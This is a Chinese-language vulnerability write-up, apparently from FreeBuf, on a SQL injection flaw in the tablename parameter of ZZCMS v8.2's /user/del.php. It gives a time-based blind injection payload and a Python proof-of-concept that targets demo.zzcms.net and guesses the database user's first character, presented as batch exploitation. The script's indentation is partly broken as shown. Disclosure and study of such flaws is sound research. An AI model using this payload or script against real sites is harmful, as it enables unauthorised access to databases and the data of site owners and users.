當前位置:
首頁 > 新聞 > ZZCMS v8.2 最新版SQL注入漏洞

ZZCMS v8.2 最新版SQL注入漏洞

*本文原創作者:vr_system,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0x00概述


近期一直在致力於審計CMS的漏洞,當審計遇到ZZCMS v8.2,發現SQL注入漏洞。

0x01 白盒審計


通過白盒審計工具,發現 /user/del.php 存在SQL注入漏洞。


代碼位置: /user/del.php 12行,獲取參數。



由於存在checkid() 導致 $id無法進行注入,checkid() 代碼如圖。

代碼位置:/inc/function.php 49行



在switch() 分支中不存在SQL注入就不展示代碼了。在後面代碼中 135行 發現存在SQL注入問題。


tablename 所在位置無需閉合引號和CMS過濾大於號和小於號(轉換為實體),拼接為 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL語句可以完成注入。

0x02 漏洞利用


測試payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23


測試結果如圖。


0x03POC


用python完成POC進行批量漏洞利用,猜測用戶名的第一個字元。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."    #匹配用的字元串
url = "http://demo.zzcms.net/user/del.php"
user = ""
for i in range(1, 2):
       for payload in payloads:    #遍歷取出字元
               startTime = time.time()
               post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
               response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
if time.time() - startTime > 5:
                       user = payload
print "user is:", user
break
print "
[Done] current user is %s" % user


*本文原創作者:vr_system,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

經驗分享 | 如何做好基礎安全設備運維
看我如何利用印表機竊取目標系統哈希值

TAG:FreeBuf |